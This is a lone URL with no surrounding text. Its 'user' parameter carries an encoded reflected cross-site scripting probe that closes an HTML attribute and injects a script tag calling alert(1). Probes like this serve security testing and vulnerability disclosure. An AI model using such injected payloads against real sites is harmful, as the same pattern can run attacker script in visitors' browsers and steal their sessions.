http://www.example.com/visitenkarte.php?user=%22%3E%3Cscript%3Ealert(1);%3C/script%3E